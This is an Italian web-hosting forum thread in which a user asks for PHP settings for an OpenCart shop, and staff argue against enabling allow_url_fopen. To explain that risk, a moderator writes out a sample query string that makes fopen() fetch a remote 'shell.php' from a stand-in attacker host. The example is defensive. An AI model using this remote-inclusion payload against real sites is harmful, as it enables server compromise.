Forum Noamweb
Non sei collegato [Login - Registrati]
Vai alla fine

Versione per la stampa  
Autore: Oggetto: Modifiche consigliate per OpenCart
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 9/11/2011 at 23:39
Modifiche consigliate per OpenCart


Salve a tutti, primo post sul forum (dopo qualche ticket). Scrivo qui perchè l'argomento mi sembra di carattere generale.
Vorrei modificare alcune impostazioni di php sul piano di shared hosting linux appena attivato. Considerando che php gira come cgi, modifiche al htaccess non funzionerebbero.

Ho provato inserendo in public_html un file php.ini con le voci che mi interessa cambiare ma, interrogando con phpinfo() mi sembra che non sia cambiato niente.

Dove sbaglio?

Grazie,

Max
View User's Profile Scorri tutte le risposte per utente
Shazan
Super Amministratore
*********


Avatar


Risposte: 1427
Registrato il: 5/10/2004
Utente offline


[*] Inviato il 10/11/2011 at 06:54


Salve Madimar,

sui nuovi server con cPanel non è più possibile modificare il php.ini autonomamente, per motivi di sicurezza. Del resto, le funzioni meno pericolose possono essere modificate direttamente all'interno del codice tramite ini_set().

Se ci dici cosa ti serve modificare, posso suggerirti come fare. Nel caso peggiore, basta aprire un ticket.

:saluto:




View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 10/11/2011 at 10:47


Eccomi, grazie per la rapida risposta Shazan. Nessun problema per ini_set ma potrei usarlo solo per script ben specifici.

Nel mio caso, certi requisiti sono suggeriti dall'intera piattaforma Opencart e se fosse possibile modificare/incrementare certi valori in generale sarebbe meglio.

Opencart suggerisce un php.ini un po' oneroso su alcuni aspetti, ma direi che probabilmente è un po esagerato.

Credo però certi valori andrebbero un po' alzati rispetto alla situazione attuale. Insomma, se fosse possibile modificare i seguenti valori/impostazioni credo non sarebbe male:

max_execution_time = portare da 60 attuali a 180 (o comunque almeno 120)
post_max_site = da 8M a 20M

Opencart sembrerebbe richiedere anche:

allow_url_fopen = on;

ma sto verificando se è realmente necessario.

Cosa devo fare a questo punto? Aprire un ticket?

Grazie,

Max

View User's Profile Scorri tutte le risposte per utente
Shazan
Super Amministratore
*********


Avatar


Risposte: 1427
Registrato il: 5/10/2004
Utente offline


[*] Inviato il 10/11/2011 at 14:58


Ho modificato max_execution_time e post_max_size a livello globale, anche se ritengo assurdo che uno script non riesca a svolgere il proprio compito in 60 secondi. 180 secondi sono un'eternità, non capisco che tipo di operazione, in un software di ecommerce, possa tenere impegnato uno script per così tanto tempo. L'ho impostato a 120, è escluso che si possa accettare un valore di 180 in ambito di hosting condiviso.

Per quanto riguarda allow_url_fopen, dal momento che aumenta il rischio di defacement e compromissione del sito e del server, occorre aprire un ticket. Se tenerlo su off non pregiudica il normale funzionamento del sito, sconsiglio *vivamente* di impostarlo su On.

:saluto:




View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 10/11/2011 at 16:16


Grazie mille.

Per quanto riguarda allow_url_fopen, gli sviluppatori di OC mi dicono che serva e che non ci sono rischi di sicurezza per come è stato scritto il codice.
Mi sa che aprirò il ticket, non vorrei rischiare che qualcosa non vada a trasferimento ultimato.
D'altronde il sito è stato online per due anni su Aruba con allow_url_fopen = on; senza aver avuto problemi.
Speriamo bene.

saluti,

M

View User's Profile Scorri tutte le risposte per utente
Valentino
Moderatore
******


Avatar


Risposte: 14
Registrato il: 25/11/2004
Utente offline


[*] Inviato il 10/11/2011 at 17:16


Ciao,
spero di poterti essere d'aiuto:
- per max_execution_time, ti rimando qui http://www.php.net/manual/en/info.configuration.php in pratica si può settare lato script con la funzione ini_set() oppure all'interno della root del proprio spazio web in .htaccess
- primo caso: set_time_limit(180);
- secondo caso .htaccess:
php_value max_execution_time 3600

- per il secondo punto invece dovresti settarlo solo con in .htaccess all'interno della root del tuo spazio web.
php_value post_max_size 20M
php_value upload_max_filesize 20M
Inoltre, come vedi, oltre a consentire un caricamento di un file in modalità POST di dimensioni massime di 20MB, si consente anche l'upload di file di 20MB, cioè il passaggio del file dalla directory temporanea del server alla directory in cui deve essere scritto il file, altrimenti il tutto non funziona tanto bene!!!

In merito al parametro allow_url_fopen io sarei moooooolto cauto, in quanto consentirebbe di accedere a file all'esterno del tuo spazio web con la funzione fopen().
Io la lascerei così com'è, cioè disattivata

Spero di esserti sato d'aiuto,
Valentino

View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente Questo utente ha un indirizzo MSN
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 10/11/2011 at 17:50


Grazie mille Valentino per i commenti.
Sull'ini_set() le cose mi erano abbastanza chiare, ma credo il problema sia che devi usarlo/inserirlo esattamente nel file php dello script che ne ha bisogno.

Nel caso mio, non è facile identificare quali sono gli script/file php che ne hanno bisogno ed in quali casi. Son d'accordo che già 60 secondi siano tanto, ma qualche problema in passato l'ho riscontrato.

Esempio specifico, un'importazione di un file excel per il db. E' uno script (in questo caso abbastanza specifico) che richiede un certo tempo (ed una certa quantità di memoria) per poter essere ultimato. Non viene eseguito continuamente ma una volta ogni tanto si ed è molto utile. Potremmo qui discutere sul fatto che un'importazione da csv sarebbe più leggera, ma lo script lavora su excel ed è utile perchè aggrega diversi dati che poi vengono distribuiti su diverse tabelle del db mysql.

Sulle modifiche ad .htaccess, ad onor del vero, credo non siano possibili se php gira come cgi. Per sicurezza ho fatto qualche prova ed il risultato è un bel 500 Internal Server Error.

In ogni caso, il problema ormai dovrebbe essere risolto, Shazan mi ha modificato il max_execution_time a 120 ed il post_max_size a 32M (così come l'upload_max_size).

Sul tema allow_url_fopen mi fate preoccupare, ma mi piacerebbe capir meglio. Che problema c'è se dal mio spazio web viene richiesta un accesso ad un file esterno attraverso fopen()? Se la richiesta è prevista da codice, ed il codice è ben scritto e protetto, che rischi ci sono?

Io mi tengo fuori dalla discussione... ma se volete vi posto quello che mi hanno scritto sul forum di Opencart. Non mettetemi in mezzo... :spiazzato: io sono ignorante sul tema ma in qualche maniera, come scrivevo, fino ad oggi non ho avuto problemi sul vecchio host.

Estratto da: http://forum.opencart.com/viewtopic.php?f=19&t=4578

Quota:

Re: Warning: allow_url_fopen needs to be enabled!
by madimar » Thu Nov 10, 2011 11:44 am

Hi guys, I'm moving an Opencart site (1.4.9.6) from one host to another one.
New host has allow_url_fopen set to off. Is this still a real requirement for OC?

Thanks in advance,

M

----

Re: Warning: allow_url_fopen needs to be enabled!
by Qphoria » Thu Nov 10, 2011 2:13 pm

Yes. any good host should have no problem with curl and allow_url_fopen to be enabled.

I hope someday, webhosts get some sort of standards. "GoPHP5" was a success... now we need "GoLearnHowtoBeAProperWebHostAndNotABunchOfMorons" to be in effect. Most online scripts spend at least 10% of support on webhost problems.

----

Re: Warning: allow_url_fopen needs to be enabled!
by madimar » Thu Nov 10, 2011 4:25 pm

Hi Q, thank you for your feedback. My host says they can change the setting but they disencourage it because there are risks of website defacement and there other safer ways to be used instead of url fopen in the code.

----

Re: Warning: allow_url_fopen needs to be enabled!
by Qphoria » Thu Nov 10, 2011 6:00 pm


Enable it and tell them to mind their own business



Grazie mille,

ciao

Massimo

Quota: Originally posted by Valentino  
Ciao,
spero di poterti essere d'aiuto:
- per max_execution_time, ti rimando qui http://www.php.net/manual/en/info.configuration.php in pratica si può settare lato script con la funzione ini_set() oppure all'interno della root del proprio spazio web in .htaccess
- primo caso: set_time_limit(180);
- secondo caso .htaccess:
php_value max_execution_time 3600

- per il secondo punto invece dovresti settarlo solo con in .htaccess all'interno della root del tuo spazio web.
php_value post_max_size 20M
php_value upload_max_filesize 20M
Inoltre, come vedi, oltre a consentire un caricamento di un file in modalità POST di dimensioni massime di 20MB, si consente anche l'upload di file di 20MB, cioè il passaggio del file dalla directory temporanea del server alla directory in cui deve essere scritto il file, altrimenti il tutto non funziona tanto bene!!!

In merito al parametro allow_url_fopen io sarei moooooolto cauto, in quanto consentirebbe di accedere a file all'esterno del tuo spazio web con la funzione fopen().
Io la lascerei così com'è, cioè disattivata

Spero di esserti sato d'aiuto,
Valentino

View User's Profile Scorri tutte le risposte per utente
Shazan
Super Amministratore
*********


Avatar


Risposte: 1427
Registrato il: 5/10/2004
Utente offline


[*] Inviato il 10/11/2011 at 18:15


Quota: Originally posted by madimar  

Sul tema allow_url_fopen mi fate preoccupare, ma mi piacerebbe capir meglio. Che problema c'è se dal mio spazio web viene richiesta un accesso ad un file esterno attraverso fopen()? Se la richiesta è prevista da codice, ed il codice è ben scritto e protetto, che rischi ci sono?


Tralasciando la scortesia nei nostri confronti con cui hanno liquidato la tua richiesta di chiarimenti, che onestamente mi lascia molto perplesso, il problema si pone perchè, per quanto il codice possa sembrare ben scritto e protetto ADESSO, non è escluso che in FUTURO, come avviene spesso nel software, si scopra una vulnerabilità per cui sia possibile passare dei parametri non previsti, inclusi eventuali URL da cui scaricare malware, virus, etc.

Per altro, non possono sapere se nello stesso dominio non vi siano altre applicazioni vulnerabili, per cui concludere dicendo che dobbiamo pensare agli affari nostri mi fa pensare che, come minimo, non abbiano pensato a tutti gli scenari possibili.

Inoltre, un cliente a cui viene defacciato un dominio o peggio ancora dal quale partono scansioni sul server alla ricerca di password e simili, fa parte del nostro "business".

:saluto:




View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente
Valentino
Moderatore
******


Avatar


Risposte: 14
Registrato il: 25/11/2004
Utente offline


[*] Inviato il 10/11/2011 at 18:21


Nel merito non voglio entrare per una questione personale,
ma penso che a loro possa servire anche per una questione di controllo/monitoraggio/feedback della webapplication.

Per altri (in caso di codice chiuso), anche per una questione di accesso ad una risorsa di verifica della licenza.

In merito all'utilizzo delle librerie CURL a cui loro fanno riferimento, non penso voglia dire molto, in quanto ogni giorno si trova un bug su qualsiasi webapplication, anche se effettivamente lo standard di sicurezza del PHP5 è molto alto.

Ti faccio un esempio di problematica del tenere allow_url_fopen=on.
Supponi che in file ad un certo punto venga richiamato la funzione fopen() per l'apertura di un file in locale/remoto, OK?
il codice potrebbe essere:

$head = fopen($nomefile, "r");

dove $nomefile è il nome di un file da aprire sullo spazio web oppure un link per un upgrade della webapplication.
Supponendo che sul server ci sia una funzione che naturalizzi le variabili oppure che in php.ini la variabile register_global = on,
in questo caso le variabili di tipo GET, quindi passate nell'url dove si richiama lo script che contiene il codice sopra scritto, potrebbe passare una informazione non gradita in questo modo: url?nomefile=http%3A%2F%2Fhackwebsite%2Fshell.php in questo caso l'array $_GET["nomefile"] potrebbe sovrascrivere la variabile $nomefile e passare quindi alla funzione fopen() una richiesta di apertura diversa e quindi in questo caso si potrebbe procedere ad un dowload di un file non previsto sul server.
Il resto è storia moderna.

Valentino
View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente Questo utente ha un indirizzo MSN
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 10/11/2011 at 18:28



Concordo sulla scortesia ed in generale anche sulle altre considerazioni però, come dicevo, sono un po' nel mezzo. Il sito deve partire e fino ad oggi ha funzionato così come vi dicevo. Quello che posso fare è fare una ricerca sul codice di tutti i "fopen(" e cercar di capire se e quando sono effettivamente utilizzati. Per il momento però, visto i tempi stretti, credo sia costretto ad andare avanti (come da ticket aperto).

A disposizione per ogni chiarimento,

Massimo

Quota: Originally posted by Shazan  
Quota: Originally posted by madimar  

Sul tema allow_url_fopen mi fate preoccupare, ma mi piacerebbe capir meglio. Che problema c'è se dal mio spazio web viene richiesta un accesso ad un file esterno attraverso fopen()? Se la richiesta è prevista da codice, ed il codice è ben scritto e protetto, che rischi ci sono?


Tralasciando la scortesia nei nostri confronti con cui hanno liquidato la tua richiesta di chiarimenti, che onestamente mi lascia molto perplesso, il problema si pone perchè, per quanto il codice possa sembrare ben scritto e protetto ADESSO, non è escluso che in FUTURO, come avviene spesso nel software, si scopra una vulnerabilità per cui sia possibile passare dei parametri non previsti, inclusi eventuali URL da cui scaricare malware, virus, etc.

Per altro, non possono sapere se nello stesso dominio non vi siano altre applicazioni vulnerabili, per cui concludere dicendo che dobbiamo pensare agli affari nostri mi fa pensare che, come minimo, non abbiano pensato a tutti gli scenari possibili.

Inoltre, un cliente a cui viene defacciato un dominio o peggio ancora dal quale partono scansioni sul server alla ricerca di password e simili, fa parte del nostro "business".

:saluto:
View User's Profile Scorri tutte le risposte per utente
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 10/11/2011 at 18:31


Valentino,
personalmente non sono convinto ci siano ragioni oscure per la richiesta degli sviluppatori di OC, tuttalpiù è superficialità (a mio parere).

Detto questo, fermo restando che condivido/capisco il tuo esempio, nel caso specifico, register_globals sono off (ed è richiesto/previsto anche da Opencart che siano off).

Ciao

Massimo


Quota: Originally posted by Valentino  
Nel merito non voglio entrare per una questione personale,
ma penso che a loro possa servire anche per una questione di controllo/monitoraggio/feedback della webapplication.

Per altri (in caso di codice chiuso), anche per una questione di accesso ad una risorsa di verifica della licenza.

In merito all'utilizzo delle librerie CURL a cui loro fanno riferimento, non penso voglia dire molto, in quanto ogni giorno si trova un bug su qualsiasi webapplication, anche se effettivamente lo standard di sicurezza del PHP5 è molto alto.

Ti faccio un esempio di problematica del tenere allow_url_fopen=on.
Supponi che in file ad un certo punto venga richiamato la funzione fopen() per l'apertura di un file in locale/remoto, OK?
il codice potrebbe essere:

$head = fopen($nomefile, "r");

dove $nomefile è il nome di un file da aprire sullo spazio web oppure un link per un upgrade della webapplication.
Supponendo che sul server ci sia una funzione che naturalizzi le variabili oppure che in php.ini la variabile register_global = on,
in questo caso le variabili di tipo GET, quindi passate nell'url dove si richiama lo script che contiene il codice sopra scritto, potrebbe passare una informazione non gradita in questo modo: url?nomefile=http%3A%2F%2Fhackwebsite%2Fshell.php in questo caso l'array $_GET["nomefile"] potrebbe sovrascrivere la variabile $nomefile e passare quindi alla funzione fopen() una richiesta di apertura diversa e quindi in questo caso si potrebbe procedere ad un dowload di un file non previsto sul server.
Il resto è storia moderna.

Valentino
View User's Profile Scorri tutte le risposte per utente
Shazan
Super Amministratore
*********


Avatar


Risposte: 1427
Registrato il: 5/10/2004
Utente offline


[*] Inviato il 10/11/2011 at 18:32


Chiaramente Valentino, essendo un (bravissimo) programmatore, ha potuto spiegare molto più dettagliatamente quali sono i rischi.

In generale, mi sembra sensato partire da una configurazione sicura ed "allentare" solo dove occorre, mi pare siano i principi base della sicurezza che probabilmente, non essendo sistemisti, sconoscono.

:saluto:




View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente
Shazan
Super Amministratore
*********


Avatar


Risposte: 1427
Registrato il: 5/10/2004
Utente offline


[*] Inviato il 10/11/2011 at 18:51


A proposito, volevo informarti che le versioni precedenti alla 1.5.1.2, secondo l'advisory SA45929 di Secunia all'URL http://secunia.com/advisories/45929/ , sono vulnerabili proprio in riferimento ad un problema simile a quello di cui stiamo discutendo.

:saluto:




View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente
Shazan
Super Amministratore
Thread Moved
10/11/2011 at 18:56
Shazan
Super Amministratore
*********


Avatar


Risposte: 1427
Registrato il: 5/10/2004
Utente offline


[*] Inviato il 10/11/2011 at 19:02


C'è addirittura una vulnerabilità non patchata da febbraio 2010 che consentirebbe persino la creazione di un utente con privilegi amministrativi all'interno dell'applicazione -> http://secunia.com/advisories/38419/

Ma sei sicuro di voler continuare ad utilizzare quest'applicazione?




View User's Profile Visita la pagina dell utente Scorri tutte le risposte per utente
madimar
vengo ogni tanto
**




Risposte: 16
Registrato il: 9/11/2011
Utente offline


[*] Inviato il 21/11/2011 at 14:17



Sono tutti problemi (un po' vecchiotti) prontamente risolti dalla comunità Opencart. Al momento non vi è nessuna vulnerabilità nota.

Opencart è a mio parere la miglior scelta per chi vuole avviare un e-commerce usando una piattaforma opensource (e forse anche commerciale a meno che non abbia esigenze di customizzazione veramente spinte).

Ciao

Massimo



Quota: Originally posted by Shazan  
C'è addirittura una vulnerabilità non patchata da febbraio 2010 che consentirebbe persino la creazione di un utente con privilegi amministrativi all'interno dell'applicazione -> http://secunia.com/advisories/38419/

Ma sei sicuro di voler continuare ad utilizzare quest'applicazione?
View User's Profile Scorri tutte le risposte per utente

  Vai all'inizio

Powered by XMB 1.9.11
XMB Forum Software © 2001-2012 The XMB Group